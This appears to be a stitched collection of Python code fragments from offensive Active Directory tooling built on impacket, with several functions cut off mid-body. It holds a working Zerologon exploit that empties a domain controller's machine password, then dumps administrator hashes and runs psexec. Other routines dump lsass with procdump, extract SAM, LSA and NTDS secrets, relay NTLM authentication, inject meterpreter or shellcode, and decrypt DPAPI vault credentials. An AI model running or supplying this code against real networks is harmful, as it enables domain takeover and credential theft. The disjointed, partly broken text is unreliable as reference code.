CredentialFile(data) blob = DPAPI_BLOB(cred['Data']) if self.options.key is not None: key = unhexlify(self.options.key[2:]) decrypted = blob.decrypt(key) if decrypted is not None: creds = CREDENTIAL_BLOB(decrypted) creds.dump() return else: # Just print the data blob.dump() elif self.options.action.upper() == 'VAULT': if options.vcrd is None and options.vpol is None: print( 'You must specify either -vcrd or -vpol parameter. Type --help for more info' ) return if options.vcrd is not None: fp = open(options.vcrd, 'rb') data = fp.read() blob = VAULT_VCRD(data) if self.options.key is not None: key = unhexlify(self.options.key[2:]) cleartext = None for i, entry in enumerate(blob.attributesLen): if entry > 28: attribute = blob.attributes[i] if 'IV' in attribute.fields and len( attribute['IV']) == 16: cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV']) else: cipher = AES.new(key, AES.MODE_CBC) cleartext = cipher.decrypt(attribute['Data']) if cleartext is not None: # Lookup schema Friendly Name and print if we find one if blob['FriendlyName'].decode( 'utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS: # Found one. Cast it and print vault = VAULT_KNOWN_SCHEMAS[ blob['FriendlyName'].decode('utf-16le')[:-1]]( cleartext) vault.dump() else: # otherwise hexdump(cleartext) return else: blob.dump() elif options.vpol is not None: fp = open(options.vpol, 'rb') data = fp.read() vpol = VAULT_VPOL(data) vpol.dump() if self.options.key is not None: key = unhexlify(self.options.key[2:]) blob = vpol['Blob'] data = blob.decrypt(key) if data is not None: keys = VAULT_VPOL_KEYS(data) keys.dump() return print('Cannot decrypt (specify -key or -sid whenever applicable) ')
def _get_groupsxml(self, groupsxml_path, gpo_display_name): gpo_groups = list() content_io = BytesIO() groupsxml_path_split = groupsxml_path.split('\\') gpo_name = groupsxml_path_split[6] target = self._domain_controller share = groupsxml_path_split[3] file_name = '\\'.join(groupsxml_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) if self._do_kerberos: smb_connection.kerberosLogin(self._user, self._password, self._domain, self._lmhash, self._nthash) else: smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) self._logger.debug('Get File: Share = {0}, file_name ={1}'.format( share, file_name)) smb_connection.connectTree(share) try: smb_connection.getFile(share, file_name, content_io.write) except SessionError: self._logger.warning( 'Error while getting the file {}, skipping...'.format( file_name)) return list() content = content_io.getvalue().replace(b'\r', b'') groupsxml_soup = BeautifulSoup(content.decode('utf-8'), 'xml') for group in groupsxml_soup.find_all('Group'): members = list() memberof = list() raw_xml_member = group.Properties.find_all('Member') if not raw_xml_member: continue local_sid = group.Properties.get('groupSid', str()) if not local_sid: if 'administrators' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-544' elif 'remote desktop' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-555' else: local_sid = group.Properties['groupName'] memberof.append(local_sid) for member in raw_xml_member: if not member['action'].lower() == 'add': continue if member['sid']: members.append(member['sid']) else: members.append(member['name']) if members or memberof: # TODO: implement filter support (seems like a pain in the ass, # I'll do it if the feature is asked). PowerView also seems to # have the barest support for filters, so ¯\_(ツ)_/¯ gpo_group = GPOGroup(list()) gpo_group._attributes_dict['gpodisplayname'] = gpo_display_name gpo_group._attributes_dict['gponame'] = gpo_name gpo_group._attributes_dict['gpopath'] = groupsxml_path gpo_group._attributes_dict['members'] = members gpo_group._attributes_dict['memberof'] = memberof gpo_groups.append(gpo_group) return gpo_groups
def check(self, remote_names): # Validate credentials first if not self.creds_validated: self.validate_creds(remote_names[0]) self.creds_validated = True # CVE-2020-1472 scan is continuous if self.__vuln == "CVE-2020-1472": while True: for remote_host in remote_names: if verify_kerberos_password( remote_host.split(".")[0] + "$", "", ".".join(remote_host.split(".")[1:]), remote_host): logging.info( 'Target %s was exploited for CVE-2020-1472!', remote_host) else: logging.info('Target %s was not exploited', remote_host) time.sleep(1) # Now start scanner for remote_host in remote_names: try: smbClient = SMBConnection( remote_host, remote_host, sess_port=int( self.__port)) #, preferredDialect=SMB2_DIALECT_21 except: return try: # Both cve-2019-1019 and cve-2019-1040 were part of the same KB and can be checked # by using cve-2019-1040 can logic if self.__vuln in ["CVE-2019-1019", "CVE-2019-1040"]: ntlm.computeResponseNTLMv2 = mod_cve20191040_computeResponseNTLMv2 if self.__vuln == "CVE-2019-1166": ntlm.computeResponseNTLMv2 = mod_cve20191166_computeResponseNTLMv2 if self.__vuln == "CVE-2019-1338": ntlm.computeResponseNTLMv2 = mod_cve20191338_computeResponseNTLMv2 smbClient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) logging.info( 'Target %s is VULNERABLE to %s (authentication was accepted)', remote_host, self.__vuln) except SessionError as exc: if 'STATUS_INVALID_PARAMETER' in str(exc) and self.__vuln in [ "CVE-2019-1019", "CVE-2019-1040", "CVE-2019-1166" ]: logging.info( 'Target %s is not vulnerable to %s (authentication was rejected)', remote_host, self.__vuln) elif 'STATUS_LOGON_FAILURE' in str( exc) and self.__vuln == "CVE-2019-1338": logging.info( 'Target %s is not vulnerable to %s (authentication was rejected)', remote_host, self.__vuln) else: logging.warning( 'Unexpected Exception while authenticating to %s: %s', remote_host, exc) smbClient.close()
def main_greenlet(host): try: smb = SMBConnection(host, host, None, settings.args.port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] try: smb.login('', '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name cme_logger = CMEAdapter( logging.getLogger('CME'), { 'host': host, 'hostname': s_name, 'port': settings.args.port, 'service': 'SMB' }) cme_logger.info(u"{} (name:{}) (domain:{})".format( smb.getServerOS(), s_name, domain)) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: pass if settings.args.mssql: cme_logger = CMEAdapter( logging.getLogger('CME'), { 'host': host, 'hostname': s_name, 'port': settings.args.mssql_port, 'service': 'MSSQL' }) #try: ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger) ms_sql.connect() instances = ms_sql.getInstances(5) cme_logger.info("Found {} MSSQL instance(s)".format( len(instances))) for i, instance in enumerate(instances): cme_logger.results("Instance {}".format(i)) for key in instance.keys(): cme_logger.results(key + ":" + instance[key]) try: ms_sql.disconnect() except: pass #except socket.error as e: # if settings.args.verbose: mssql_cme_logger.error(str(e)) if (settings.args.user and (settings.args.passwd or settings.args.hash)) or settings.args.combo_file: ms_sql = None smb = None if settings.args.mssql: ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger) ms_sql.connect() ms_sql, user, passwd, ntlm_hash, domain = smart_login( host, domain, ms_sql, cme_logger) sql_shell = SQLSHELL(ms_sql, cme_logger) else: smb = SMBConnection(host, host, None, settings.args.port) smb, user, passwd, ntlm_hash, domain = smart_login( host, domain, smb, cme_logger) if ms_sql: connection = ms_sql if settings.args.mssql_query: sql_shell.onecmd(settings.args.mssql_query) if smb: connection = smb if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb, cme_logger) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb, cme_logger) shares.dump(host) if settings.args.enum_users: users = SAMRDump(cme_logger, '{}/SMB'.format(settings.args.port), user, passwd, domain, ntlm_hash, settings.args.aesKey, settings.args.kerb) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump(cme_logger, '{}/SMB'.format(settings.args.port), user, passwd, domain, ntlm_hash, settings.args.aesKey, settings.args.kerb) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid(cme_logger, user, passwd, domain, '{}/SMB'.format(settings.args.port), ntlm_hash, settings.args.rid_brute) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(cme_logger, user, passwd, domain, ntlm_hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(cme_logger, host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY(cme_logger, user, domain, passwd, ntlm_hash, settings.args.kerb, settings.args.aesKey) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(cme_logger, smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest or settings.args.disable_wdigest: wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb) if settings.args.enable_wdigest: wdigest.enable() elif settings.args.disable_wdigest: wdigest.disable() if settings.args.service: service_control = SVCCTL( cme_logger, user, passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.service, settings.args.aesKey, settings.args.kerb, ntlm_hash, settings.args) service_control.run(host) if settings.args.command: EXECUTOR(cme_logger, settings.args.command, host, domain, settings.args.no_output, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.pscommand: EXECUTOR( cme_logger, ps_command(settings.args.pscommand, settings.args.ps_arch), host, domain, settings.args.no_output, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.mimikatz: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.gpp_passwords: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.gpp_passwords(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.mimikatz_cmd: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.powerview: #For some reason powerview functions only seem to work when using smbexec... #I think we might have a mistery on our hands boys and girls! powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.powerview(settings.args.powerview), host, domain, True, connection, 'smbexec', user, passwd, ntlm_hash) if settings.args.inject: powah_command = PowerShell(settings.args.server, local_ip) if settings.args.inject.startswith('met_'): EXECUTOR(cme_logger, powah_command.inject_meterpreter(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.inject == 'shellcode': EXECUTOR(cme_logger, powah_command.inject_shellcode(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.inject == 'dll' or settings.args.inject == 'exe': EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) try: smb.logoff() except: pass try: ms_sql.disconnect() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
def get_session(self, address, target_ip="", port=445, username="", password="", lmhash="", nthash="", domain="", aesKey="", dc_ip="", kerberos=False, timeout=5): """ Login on remote host :param address: Remote host :param target_ip: Remote host IP address :param port: Remote port :param username: Username :param password: Password :param lmhash: LM Hash :param nthash: NT Hash :param domain: Domain :param aesKey: AES Key :param dc_ip: Domain Controller IP address :param kerberos: Use kerberos :return: SMB Session """ try: self.smb_session = SMBConnection(address, target_ip, None, sess_port=port, timeout=timeout) except Exception: logging.warning("Network error", exc_info=True) self.smb_session = None return None try: if kerberos is True: self.smb_session.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, dc_ip) else: self.smb_session.login(username, password, domain, lmhash, nthash) logging.info("SMB session opened") except Exception as e: if "KDC_ERR_S_PRINCIPAL_UNKNOWN" in str(e): logging.error( "Connexion error (Use FQDN for kerberos authentication)", exc_info=True) else: logging.warning("Connexion error", exc_info=True) self.smb_session = None return None try: self.smb_session.connectTree("C$") except Exception: if username: logging.error( "User '{}' can not access admin shares on {}".format( username, address)) else: logging.error( "Can not access admin shares on {}".format(address)) self.smb_session = None return None self.address = address self.target_ip = target_ip self.port = port self.username = username self.password = password self.lmhash = lmhash self.nthash = nthash self.domain = domain self.aesKey = aesKey self.dc_ip = dc_ip self.kerberos = kerberos self.timeout = timeout logging.success("Authentication successful") return True
def perform_attack(options): # Keep authenticating until succesfull. Expected average number of attempts needed: 256. print('Performing authentication attempts...') rpc_con = None conn = SMBConnection(options.target, options.target, None, options.port) conn.login('', '') dc_handle = f"\\\\{conn.getServerName()}" target_computer = conn.getServerName() dc_ip = options.target print(dc_ip) print(target_computer) for attempt in range(0, MAX_ATTEMPTS): rpc_con, serverChallenge = try_zero_authenticate( dc_handle, dc_ip, target_computer) if rpc_con == None: print('=', end='', flush=True) else: break if rpc_con: print('\nSuccess! DC can be fully compromised by a Zerologon attack.') plaintext = b'\x00' * 8 sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None) ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) print() blah = nrpc.hNetrServerPasswordSet2( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', update_authenticator(clientStoredCredential, sessionKey, 0), b'\x00' * 516) blah.dump() # stringbinding = epm.hept_map(options.target, lsat.MSRPC_UUID_LSAT, protocol="ncacn_ip_tcp") # rpc_con = transport.DCERPCTransportFactory(stringbinding).get_dce_rpc() # rpc_con.connect() # rpc_con.bind(lsat.MSRPC_UUID_LSAT) # resp = lsad.hLsarOpenPolicy2(rpc_con, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) # sid = lsad.hLsarQueryInformationPolicy2(rpc_con, resp['PolicyHandle'], lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)['PolicyInformation']['PolicyPrimaryDomainInfo']['Sid'].formatCanonical() # print(sid) if options.silver: exit() import secretsdump, psexec class SDOptions: def __init__(self): self.use_vss = False self.target_ip = dc_ip self.outputfile = '/tmp/dumped.tmp' self.hashes = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" self.exec_method = "smbexec" self.just_dc = True self.just_dc_ntlm = True self.just_dc_user = options.target_da self.pwd_last_set = self.user_status = self.resumefile = \ self.k = self.history = self.ntds = self.sam = self.security = \ self.system = self.aesKey = self.bootkey = None self.dc_ip = dc_ip class PSOptions: def __init__(self): self.help = Falses # h = SMBConnection(options.target, options.target, None, options.port) # if options.target_machine: # h.login(options.target_machine + "$", '') # else: # h.login(target_computer + '$', '') secretsdump.DumpSecrets(dc_ip, target_computer + '$', '', '', SDOptions()).dump() f = open("/tmp/dumped.tmp.ntds").read() # print(f) hashes = ':'.join(f.split(':')[2:-3]) print(hashes) psexec = psexec.PSEXEC( 'powershell.exe -c Reset-ComputerMachinePassword', None, None, None, hashes=hashes, username=options.target_da, serviceName='f****d') psexec.run(options.target, dc_ip) else: print('\nAttack failed. Target is probably patched.') sys.exit(1)
def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: # Nope, do we know it? if mechType in MechTypes: mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception as e: LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = b'\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data connData['Uid'] = random.randint(1,0xffffffff) connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x02: # CHALLENGE_MESSAGE raise Exception('Challenge Message raise, not implemented!') elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': # For some attacks it is important to know the authenticated username, so we store it self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = securityBlob securityBlob = respToken2.getData() if self.config.remove_mic: from impacket.smbconnection import SMBConnection d1 = 315 d2 = 5 print('[GPOTATO] WAITING %s SECONDS FOR CHALLENGE TIMEOUT' % (d1)) time.sleep(d1) print('[GPOTATO] FLUSHING CHALLENGE CACHE NOW') try: tempSmbConAddress = self.target.netloc.split(':')[0] tempSmbCon = SMBConnection(tempSmbConAddress, tempSmbConAddress) tempSmbCon.login('MADCOW', 'MADCOW', 'MADCOW') tempSmbCon.close() except Exception as e: print('[GPOTATO] DONE: %s' % str(e)) print('[GPOTATO] WAITING ADDITIONAL %s SECONDS' % (d2)) time.sleep(d2) print('[GPOTATO] AUTHENTICATING...') clientResponse, errorCode = self.do_ntlm_auth(client, token, connData['CHALLENGE_MESSAGE']['challenge']) else: clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob, connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: #Log this target as processed for this client self.targetprocessor.logTarget(self.target) LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) connData['Authenticated'] = True self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = b'\x00' # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: remoteHost = str(addr) print(remoteHost + ": starting WMI") iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) print(remoteHost + ": deploying " + self.scanobj.surveyfile) self.shell.do_cd(self.scanobj.tgtdestdirectory) self.shell.do_put(self.scanobj.surveyfile) for reqFile in self.scanobj.requiredfiles: self.shell.do_put(reqFile) print(remoteHost + ": uploading " + reqFile) destsurveyfile = self.scanobj.surveyfile[self.scanobj.surveyfile. rfind("/") + 1:] print(remoteHost + ": executing " + destsurveyfile) self.shell.onecmd("powershell -ep bypass ./" + destsurveyfile + " -verbose") print(remoteHost + ": getting results") f = self.shell.do_get("SurveyResults.xml") os.rename(f, "results/SurveyResults-" + addr + ".xml") self.shell.onecmd("del " + destsurveyfile + " SurveyResults.xml") fh = open("log/" + addr + ".txt", 'wb') fh.write(self.shell.get_alloutput()) fh.close() print(remoteHost + ": finished") self.__outputBuffer = u'' except (Exception, KeyboardInterrupt), e: import traceback traceback.print_exc() logging.error(str(e)) fh = open("log/" + addr + ".txt", 'wb') fh.write(str(e)) fh.close() if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
def connect(self): self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) ## todo: ## Check OS 32 bit or 64 bit ## #cmmand = "wmic os get OSArchitecture" ### This is super hacky ### self.shell.do_put(PROC_PATH) command = "procdump64.exe -ma -accepteula lsass lsass.%s.dmp" % (addr) self.shell.onecmd(command) self.shell.do_get("lsass.%s.dmp"%(addr)) self.shell.onecmd("del procdump64.exe") command = "del lsass.%s.dmp" % (addr) self.shell.onecmd(command) ### but it still works ### #raw_input("Press ENTER to continue") print(os.popen("pypykatz lsa minidump lsass.%s.dmp"%(addr)).read()) if True: pass elif self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect()
def main(): # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help=True, description="SMB client implementation.") parser.add_argument( 'target', action='store', help='[[domain/]username[:password]@]<targetName or address>') parser.add_argument( '-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument( '-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument( '-dc-ip', action='store', metavar="ip address", help= 'IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument( '-target-ip', action='store', metavar="ip address", help= 'IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it' ) group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile( '(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if options.target_ip is None: options.target_ip = address if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:"******"Executing commands from %s" % options.file.name) for line in options.file.readlines(): if line[0] != '#': print "# %s" % line, shell.onecmd(line) else: print line, else: shell.cmdloop() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e))
def connector(target, args, db, module, context, cmeserver): try: smb = SMBConnection(target, target, None, args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = smb.getServerDomain() servername = smb.getServerName() serveros = smb.getServerOS() if not domain: domain = servername db.add_host(remote_ip, servername, domain, serveros) logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)}) logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8'))) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: pass if args.mssql: instances = None logger.extra['port'] = args.mssql_port ms_sql = tds.MSSQL(target, args.mssql_port, logger) ms_sql.connect() instances = ms_sql.getInstances(10) if len(instances) > 0: logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): logger.highlight("Instance {}".format(i)) for key in instance.keys(): logger.highlight(key + ":" + instance[key]) try: ms_sql.disconnect() except: pass if args.username and (args.password or args.hash): conn = None if 